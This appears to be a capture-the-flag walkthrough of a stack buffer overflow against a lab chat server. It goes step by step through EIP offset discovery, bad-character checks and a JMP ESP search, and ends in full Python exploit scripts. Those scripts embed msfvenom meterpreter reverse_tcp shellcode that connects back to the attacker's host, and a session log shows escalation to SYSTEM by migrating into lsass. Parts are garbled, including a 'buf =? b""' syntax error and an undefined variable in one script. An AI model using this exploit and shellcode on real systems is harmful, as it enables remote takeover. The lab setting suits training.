g6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co

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No crash observed with 2000 characters.

┌──(root??kali)-[~/Buffer Overflow/thmbfprep/brainstorm/chatserver]
└─# msf-pattern_create -l 2400
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9        

Program crashed when an input of 2400 characters is sent.

No alt text provided for this image
Program crashing

Finding the EIP Offset

The value of the EIP when the program crashed is 31704330.

No alt text provided for this image
EIP when the program crashed
┌──(root??kali)-[~/Buffer Overflow/thmbfprep/brainstorm/chatserver]
└─# msf-pattern_offset -q 31704330
[*] Exact match at offset 2012        

The EIP Offset is 2012.

Replacing the EIP

Script for replacing the EIP:

#!/usr/bin/env python3
import socket
import sys

total_length = 2400
offset = 2012
new_eip = b"BBBB"
username = b"vamsi"
message = b"A" * offset + new_eip + b"C" * (total_length - offset - len(new_eip))

try:
    print("Sending payload")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.57.11", 9999))
    s.recv(1024)
    s.recv(1024)
    s.send(username + b"\\r\\n")
    s.recv(1024)
    s.send(message + b"\\r\\n")
    s.recv(1024)
    s.close()
except:
    print("Cannot connect to the machine")
    sys.exit()
        

EIP replaced with 424242.

No alt text provided for this image
Replacing the EIP

Finding bad characters:

Setting working folder for mona:

!mona config -set workingfolder C:\Immunitylogs\%p        

Generating bytearray excluding default bad character (\x00):

!mona bytearray -b "\x00”        

Script for crashing:

#!/usr/bin/env python3
import socket
import struct
import sys

total_length = 2400
offset = 2012
new_eip = b"BBBB"
username = b"vamsi"
all_characters = b"".join([struct.pack('<B', x) for x in range(1, 256)])
message = b"A" * offset + new_eip + all_characters + b"C" * (total_length - offset - len(new_eip) - len(all_characters))
try:
    print("Sending payload")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.57.11", 9999))
    s.recv(1024)
    s.recv(1024)
    s.send(username + b"\r\n")
    s.recv(1024)
    s.send(message + b"\r\n")
    s.recv(1024)
    s.close()
except:
    print("Cannot connect to the machine")
    sys.exit()
        

ESP when the crash happens is 018BEEC0.

No alt text provided for this image
ESP value to find bad characters
!mona compare -f "C:\Immunitylogs\chatserver\bytearray.bin" -a 018BEEC0        

From the output of mona, there are no bad characters except for \x00.

No alt text provided for this image
Mona Output

Finding the right module

┌──(root??kali)-[~/Buffer Overflow/thmbfprep/brainstorm/chatserver]
└─# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > JMP ESP
00000000  FFE4              jmp esp        

!mona find -s "\\xff\\xe4" -m essfunc.dll

No alt text provided for this image
Finding the right modules

We will use 0x6250151b to replace the EIP.

No alt text provided for this image

Generating the Shell code

Only bad character is “\x00”.

┌──(root??kali)-[~/Buffer Overflow/thmbfprep/brainstorm/chatserver]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.57.4 LPORT=4444 -f py -b "\\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of py file: 1865 bytes
buf = b""
buf += b"\xdb\xcf\xb8\xfe\x79\xc9\xa8\xd9\x74\x24\xf4\x5b\x31"
buf += b"\xc9\xb1\x59\x31\x43\x19\x03\x43\x19\x83\xeb\xfc\x1c" 
buf += b"\x8c\x35\x40\x6f\x6f\xc6\x91\x0f\x41\x14\xf5\x44\xf3" 
buf += b"\xa8\x7d\x08\xf8\x41\x64\x27\x52\x46\xec\x45\x7b\x69" 
buf += b"\x45\xe3\x5d\x44\x56\xc2\x61\x0a\x94\x45\x1e\x51\xc9" 
buf += b"\xa5\x1f\x9a\x1c\xa4\x58\x6c\x6a\x49\x34\x38\x1f\xc7" 
buf += b"\xa9\x4d\x5d\xdb\xc8\x81\xe9\x63\xb3\xa4\x2e\x17\x0f" 
buf += b"\xa6\x7e\x5c\xd7\x88\x7f\xb1\xb8\x43\x37\x2d\xbc\x9d" 
buf += b"\xbc\x71\xf7\x2c\xc2\x02\x33\xc4\x3d\xc2\x0d\x1a\xfc" 
buf += b"\x25\x60\x36\xfe\x7e\x43\xa6\x74\x74\xb7\x5b\x8f\x4f" 
buf += b"\xc5\x87\x1a\x4f\x6d\x43\xbc\xab\x8f\x80\x5b\x38\x83" 
buf += b"\x6d\x2f\x66\x80\x70\xfc\x1d\xbc\xf9\x03\xf1\x34\xb9" 
buf += b"\x27\xd5\x1d\x19\x49\x4c\xf8\xcc\x76\x8e\xa4\xb1\xd2" 
buf += b"\xc5\x47\xa7\x63\x26\x98\xc8\x39\xb0\x54\x05\xc2\x40" 
buf += b"\xf3\x1e\xb1\x72\x5c\xb5\x5d\x3e\x15\x13\x99\x37\x31" 
buf += b"\xa4\x75\xff\x52\x5a\x76\xff\x7b\x99\x22\xaf\x13\x08" 
buf += b"\x4b\x24\xe4\xb5\x9e\xd0\xee\x21\xe1\x8c\xd6\xb5\x89" 
buf += b"\xce\x28\xa7\x15\x47\xce\x97\xf5\x07\x5f\x58\xa6\xe7" 
buf += b"\x0f\x30\xac\xe8\x70\x20\xcf\x23\x19\xcb\x20\x9d\x71" 
buf += b"\x64\xd8\x84\x0a\x15\x25\x13\x77\x15\xad\x91\x87\xd8" 
buf += b"\x46\xd0\x9b\x0d\x31\x1a\x64\xce\xd4\x1a\x0e\xca\x7e" 
buf += b"\x4d\xa6\xd0\xa7\xb9\x69\x2a\x82\xba\x6e\xd4\x53\x8a" 
buf += b"\x05\xe3\xc1\xb2\x71\x0c\x06\x32\x82\x5a\x4c\x32\xea" 
buf += b"\x3a\x34\x61\x0f\x45\xe1\x16\x9c\xd0\x0a\x4e\x70\x72" 
buf += b"\x63\x6c\xaf\xb4\x2c\x8f\x9a\xc6\x2b\x6f\x58\xe1\x93" 
buf += b"\x07\xa2\xb1\x23\xd7\xc8\x31\x74\xbf\x07\x1d\x7b\x0f" 
buf += b"\xe7\xb4\xd4\x07\x62\x59\x96\xb6\x73\x70\x76\x66\x73" 
buf += b"\x77\xa3\x99\x0e\xf8\x54\x5a\xef\x10\x31\x5b\xef\x1c" 
buf += b"\x47\x60\x39\x25\x3d\xa7\xf9\x12\x4e\x92\x5c\x32\xc5" 
buf += b"\xdc\xf3\x44\xcc"        

Script to run the exploit:

#!/usr/bin/env python3
import socket
import struct
import sys

total_length = 2400
offset = 2012
new_eip = struct.pack("<I", 0x6250151B)
username = b"vamsi"
buf = b""
buf += b"\xdb\xcf\xb8\xfe\x79\xc9\xa8\xd9\x74\x24\xf4\x5b\x31"
buf += b"\xc9\xb1\x59\x31\x43\x19\x03\x43\x19\x83\xeb\xfc\x1c" 
buf += b"\x8c\x35\x40\x6f\x6f\xc6\x91\x0f\x41\x14\xf5\x44\xf3" 
buf += b"\xa8\x7d\x08\xf8\x41\x64\x27\x52\x46\xec\x45\x7b\x69" 
buf += b"\x45\xe3\x5d\x44\x56\xc2\x61\x0a\x94\x45\x1e\x51\xc9" 
buf += b"\xa5\x1f\x9a\x1c\xa4\x58\x6c\x6a\x49\x34\x38\x1f\xc7" 
buf += b"\xa9\x4d\x5d\xdb\xc8\x81\xe9\x63\xb3\xa4\x2e\x17\x0f" 
buf += b"\xa6\x7e\x5c\xd7\x88\x7f\xb1\xb8\x43\x37\x2d\xbc\x9d" 
buf += b"\xbc\x71\xf7\x2c\xc2\x02\x33\xc4\x3d\xc2\x0d\x1a\xfc" 
buf += b"\x25\x60\x36\xfe\x7e\x43\xa6\x74\x74\xb7\x5b\x8f\x4f" 
buf += b"\xc5\x87\x1a\x4f\x6d\x43\xbc\xab\x8f\x80\x5b\x38\x83" 
buf += b"\x6d\x2f\x66\x80\x70\xfc\x1d\xbc\xf9\x03\xf1\x34\xb9" 
buf += b"\x27\xd5\x1d\x19\x49\x4c\xf8\xcc\x76\x8e\xa4\xb1\xd2" 
buf += b"\xc5\x47\xa7\x63\x26\x98\xc8\x39\xb0\x54\x05\xc2\x40" 
buf += b"\xf3\x1e\xb1\x72\x5c\xb5\x5d\x3e\x15\x13\x99\x37\x31" 
buf += b"\xa4\x75\xff\x52\x5a\x76\xff\x7b\x99\x22\xaf\x13\x08" 
buf += b"\x4b\x24\xe4\xb5\x9e\xd0\xee\x21\xe1\x8c\xd6\xb5\x89" 
buf += b"\xce\x28\xa7\x15\x47\xce\x97\xf5\x07\x5f\x58\xa6\xe7" 
buf += b"\x0f\x30\xac\xe8\x70\x20\xcf\x23\x19\xcb\x20\x9d\x71" 
buf += b"\x64\xd8\x84\x0a\x15\x25\x13\x77\x15\xad\x91\x87\xd8" 
buf += b"\x46\xd0\x9b\x0d\x31\x1a\x64\xce\xd4\x1a\x0e\xca\x7e" 
buf += b"\x4d\xa6\xd0\xa7\xb9\x69\x2a\x82\xba\x6e\xd4\x53\x8a" 
buf += b"\x05\xe3\xc1\xb2\x71\x0c\x06\x32\x82\x5a\x4c\x32\xea" 
buf += b"\x3a\x34\x61\x0f\x45\xe1\x16\x9c\xd0\x0a\x4e\x70\x72" 
buf += b"\x63\x6c\xaf\xb4\x2c\x8f\x9a\xc6\x2b\x6f\x58\xe1\x93" 
buf += b"\x07\xa2\xb1\x23\xd7\xc8\x31\x74\xbf\x07\x1d\x7b\x0f" 
buf += b"\xe7\xb4\xd4\x07\x62\x59\x96\xb6\x73\x70\x76\x66\x73" 
buf += b"\x77\xa3\x99\x0e\xf8\x54\x5a\xef\x10\x31\x5b\xef\x1c" 
buf += b"\x47\x60\x39\x25\x3d\xa7\xf9\x12\x4e\x92\x5c\x32\xc5" 
buf += b"\xdc\xf3\x44\xcc"
shellcode = buf
nop_sled = b"\x90" * 32
message = b"A" * offset + new_eip + nop_sled + shellcode + b"C" * (total_length - offset - len(new_eip) - len(all_characters) - len(nop_sled) - len(shellcode))
try:
    print("Sending payload")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.57.11", 9999))
    s.recv(1024)
    s.recv(1024)
    s.send(username + b"\r\n")
    s.recv(1024)
    s.send(message + b"\r\n")
    s.recv(1024)
    s.close()
except:
    print("Cannot connect to the machine")
    sys.exit()        


Setting up listener using msfconsole:

┌──(root??kali)-[~]
└─# msfconsole
|                                                                              |
|                   METASPLOIT CYBER MISSILE COMMAND V5                        |
|______________________________________________________________________________|
\\                                  /                      /
\\     .                          /                      /            x
\\                              /                      /
\\                            /          +           /
\\            +             /                      /
*                        /                      /
/      .               /
X                             /                      /            X
/                     ###
/                     # % #
/                       ###
.       /
.                       /      .            *           .
/
*
+                       *
__ __ __ ####### __ __ __
/ \\ / \\ / \\ ########### / \\ / \\ / \\
################################################################################
################################################################################
WAVE 5 ######## SCORE 31337 ################################## HIGH FFFFFFFF
################################################################################
[<https://metasploit.com>](<https://metasploit.com/>)
   =[ metasploit v6.0.45-dev                          ]
- --=[ 2134 exploits - 1139 auxiliary - 364 post ]
- --=[ 592 payloads - 45 encoders - 10 nops ]
- --=[ 8 evasion ]
Metasploit tip: View a module's description using
info, or the enhanced version in your browser with
info -d
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name  Current Setting  Required  Description
Payload options (generic/shell_reverse_tcp):
Name   Current Setting  Required  Description
LHOST                   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port
Exploit target:
Id  Name
0   Wildcard Target
msf6 exploit(multi/handler) > set LHOST 192.168.57.4
LHOST => 192.168.57.4
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name  Current Setting  Required  Description
Payload options (windows/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.57.4     yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port
Exploit target:
Id  Name
0   Wildcard Target
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.57.4:4444        

Execute the exploit.py script:

┌──(root??kali)-[~/Buffer Overflow/thmbfprep/brainstorm/chatserver]
└─# python3 exploit.py
Sending payload        
No alt text provided for this image
Running the exploit script
[*] Sending stage (175174 bytes) to 192.168.57.11
[*] Meterpreter session 1 opened (192.168.57.4:4444 -> 192.168.57.11:49296) at 2023-02-07 05:35:46 -0500
meterpreter > getuid
Server username: Win7x86\vhacker
meterpreter > sysinfo
Computer        : WIN7X86
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_IN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > pgrep lsass.exe
516
meterpreter > migrate 516
[*] Migrating from 744 to 516...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN7X86
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_IN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >        

Final exploit of the original machine

Generating payload using msfvenom:

┌──(root??kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
inet 192.168.57.4  netmask 255.255.255.0  broadcast 192.168.57.255
inet6 fe80::a00:27ff:fe0e:348d  prefixlen 64  scopeid 0x20<link>
ether 08:00:27:0e:34:8d  txqueuelen 1000  (Ethernet)
RX packets 93  bytes 29814 (29.1 KiB)
RX errors 0  dropped 0  overruns 0  frame 0
TX packets 115  bytes 21613 (21.1 KiB)
TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
inet 127.0.0.1  netmask 255.0.0.0
inet6 ::1  prefixlen 128  scopeid 0x10<host>
loop  txqueuelen 1000  (Local Loopback)
RX packets 8  bytes 400 (400.0 B)
RX errors 0  dropped 0  overruns 0  frame 0
TX packets 8  bytes 400 (400.0 B)
TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1500
**inet 10.2.23.54  netmask 255.255.128.0  destination 10.2.23.54**
inet6 fe80::6886:c011:2334:e275  prefixlen 64  scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  txqueuelen 500  (UNSPEC)
RX packets 0  bytes 0 (0.0 B)
RX errors 0  dropped 0  overruns 0  frame 0
TX packets 3  bytes 144 (144.0 B)
TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

┌──(root??kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.2.23.54 LPORT=4444 -f py -b "\\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of py file: 1865 bytes
buf =? b""
buf += b"\xd9\xf7\xbb\x38\xa8\x0e\x8c\xd9\x74\x24\xf4\x5d\x33"
buf += b"\xc9\xb1\x59\x31\x5d\x19\x03\x5d\x19\x83\xc5\x04\xda"
buf += b"\x5d\xf2\x64\x95\x9e\x0b\x75\xc9\xaf\xd9\xfc\xec\xb4"
buf += b"\x56\xac\xde\xbf\x3b\x5d\x95\x92\xaf\x52\x1e\x58\xf6"
buf += b"\xe7\x12\x75\xc7\x08\xe3\x45\x8b\xcb\x62\x3a\xd6\x1f"
buf += b"\x44\x03\x19\x52\x85\x44\xef\x18\x6a\x18\x7b\xb0\x64"
buf += b"\xca\xf0\x77\xb8\xf5\xd6\xf3\x80\x8d\x53\xc3\x74\x22"
buf += b"\x5d\x14\x24\x31\x05\xb4\xc5\x96\x3d\xfc\xdd\x9d\x8b"
buf += b"\x89\xe1\xac\xf4\x3b\x92\xfb\x81\xbd\x72\x32\x56\x11"
buf += b"\xbb\xfa\x5b\x6b\xfc\x3d\x84\x1e\xf6\x3d\x39\x19\xcd"
buf += b"\x3c\xe5\xac\xd1\xe7\x6e\x16\x35\x19\xa2\xc1\xbe\x15"
buf += b"\x0f\x85\x98\x39\x8e\x4a\x93\x46\x1b\x6d\x73\xcf\x5f"
buf += b"\x4a\x57\x8b\x04\xf3\xce\x71\xea\x0c\x10\xdd\x53\xa9"
buf += b"\x5b\xcc\x82\xcd\xa4\x0e\xab\x93\x32\xc2\x66\x2c\xc2"
buf += b"\x4c\xf0\x5f\xf0\xd3\xaa\xf7\xb8\x9c\x74\x0f\xc9\x8b"
buf += b"\x86\xdf\x71\xdb\x78\xe0\x81\xf5\xbe\xb4\xd1\x6d\x16"
buf += b"\xb5\xba\x6d\x97\x60\x56\x64\x0f\x81\xa4\x6f\xf9\xfd"
buf += b"\xaa\x8f\x14\xa2\x23\x69\x46\x0a\x63\x26\x27\xfa\xc3"
buf += b"\x96\xcf\x10\xcc\xc9\xf0\x1a\x07\x62\x9a\xf4\xf1\xda"
buf += b"\x33\x6c\x58\x90\xa2\x71\x77\xdc\xe5\xfa\x7d\x20\xab"
buf += b"\x0a\xf4\x32\xdc\x6c\xf6\xca\x1d\x19\xf6\xa0\x19\x8b"
buf += b"\xa1\x5c\x20\xea\x85\xc2\xdb\xd9\x96\x05\x23\x9c\xae"
buf += b"\x7e\x12\x0a\x8e\xe8\x5b\xda\x0e\xe9\x0d\xb0\x0e\x81"
buf += b"\xe9\xe0\x5d\xb4\xf5\x3c\xf2\x65\x60\xbf\xa2\xda\x23"
buf += b"\xd7\x48\x04\x03\x78\xb3\x63\x17\x7f\x4b\xf1\x30\xd8"
buf += b"\x23\x09\x01\xd8\xb3\x63\x81\x88\xdb\x78\xae\x27\x2b"
buf += b"\x80\x65\x60\x23\x0b\xe8\xc2\xd2\x0c\x21\x82\x4a\x0c"
buf += b"\xc6\x1f\x7d\x77\xa7\xa0\x7e\x88\xa1\xc4\x7f\x88\xcd"
buf += b"\xfa\xbc\x5e\xf4\x88\x83\x62\x43\x82\xb6\xc7\xe2\x09"
buf += b"\xb8\x54\xf4\x1b"
        

Final Exploit script:

#!/usr/bin/env python3
import socket
import struct
import sys

total_length = 2400
offset = 2012
new_eip = struct.pack("<I", 0x6250151B)
username = b"vamsi"
buf =? b""
buf += b"\xd9\xf7\xbb\x38\xa8\x0e\x8c\xd9\x74\x24\xf4\x5d\x33"
buf += b"\xc9\xb1\x59\x31\x5d\x19\x03\x5d\x19\x83\xc5\x04\xda"
buf += b"\x5d\xf2\x64\x95\x9e\x0b\x75\xc9\xaf\xd9\xfc\xec\xb4"
buf += b"\x56\xac\xde\xbf\x3b\x5d\x95\x92\xaf\x52\x1e\x58\xf6"
buf += b"\xe7\x12\x75\xc7\x08\xe3\x45\x8b\xcb\x62\x3a\xd6\x1f"
buf += b"\x44\x03\x19\x52\x85\x44\xef\x18\x6a\x18\x7b\xb0\x64"
buf += b"\xca\xf0\x77\xb8\xf5\xd6\xf3\x80\x8d\x53\xc3\x74\x22"
buf += b"\x5d\x14\x24\x31\x05\xb4\xc5\x96\x3d\xfc\xdd\x9d\x8b"
buf += b"\x89\xe1\xac\xf4\x3b\x92\xfb\x81\xbd\x72\x32\x56\x11"
buf += b"\xbb\xfa\x5b\x6b\xfc\x3d\x84\x1e\xf6\x3d\x39\x19\xcd"
buf += b"\x3c\xe5\xac\xd1\xe7\x6e\x16\x35\x19\xa2\xc1\xbe\x15"
buf += b"\x0f\x85\x98\x39\x8e\x4a\x93\x46\x1b\x6d\x73\xcf\x5f"
buf += b"\x4a\x57\x8b\x04\xf3\xce\x71\xea\x0c\x10\xdd\x53\xa9"
buf += b"\x5b\xcc\x82\xcd\xa4\x0e\xab\x93\x32\xc2\x66\x2c\xc2"
buf += b"\x4c\xf0\x5f\xf0\xd3\xaa\xf7\xb8\x9c\x74\x0f\xc9\x8b"
buf += b"\x86\xdf\x71\xdb\x78\xe0\x81\xf5\xbe\xb4\xd1\x6d\x16"
buf += b"\xb5\xba\x6d\x97\x60\x56\x64\x0f\x81\xa4\x6f\xf9\xfd"
buf += b"\xaa\x8f\x14\xa2\x23\x69\x46\x0a\x63\x26\x27\xfa\xc3"
buf += b"\x96\xcf\x10\xcc\xc9\xf0\x1a\x07\x62\x9a\xf4\xf1\xda"
buf += b"\x33\x6c\x58\x90\xa2\x71\x77\xdc\xe5\xfa\x7d\x20\xab"
buf += b"\x0a\xf4\x32\xdc\x6c\xf6\xca\x1d\x19\xf6\xa0\x19\x8b"
buf += b"\xa1\x5c\x20\xea\x85\xc2\xdb\xd9\x96\x05\x23\x9c\xae"
buf += b"\x7e\x12\x0a\x8e\xe8\x5b\xda\x0e\xe9\x0d\xb0\x0e\x81"
buf += b"\xe9\xe0\x5d\xb4\xf5\x3c\xf2\x65\x60\xbf\xa2\xda\x23"
buf += b"\xd7\x48\x04\x03\x78\xb3\x63\x17\x7f\x4b\xf1\x30\xd8"
buf += b"\x23\x09\x01\xd8\xb3\x63\x81\x88\xdb\x78\xae\x27\x2b"
buf += b"\x80\x65\x60\x23\x0b\xe8\xc2\xd2\x0c\x21\x82\x4a\x0c"
buf += b"\xc6\x1f\x7d\x77\xa7\xa0\x7e\x88\xa1\xc4\x7f\x88\xcd"
buf += b"\xfa\xbc\x5e\xf4\x88\x83\x62\x43\x82\xb6\xc7\xe2\x09"
buf += b"\xb8\x54\xf4\x1b"
shellcode = buf
nop_sled = b"\x90" * 32
message = b"A" * offset + new_eip + nop_sled + shellcode + b"C" * (total_length - offset - len(new_eip) - len(nop_sled) - len(shellcode))
try:
    print("Sending payload")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("10.10.53.141", 9999))
    s.recv(1024)
    s.recv(1024)
    s.send(username + b"\r\n")
    s.recv(1024)
    s.send(message + b"\r\n")
    s.recv(1024)
    s.close()
except:
    print("Cannot connect to the machine")
    sys.exit()        


Setting up listener:

┌──(root??kali)-[~]
└─# msfconsole
  .:okOOOkdc'           'cdkOOOko:.
.xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
.OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
.dOOo'[WM.OOOOocccxOOOO.MX](<https://wm.ooooocccxoooo.mx/>)'xOOd.
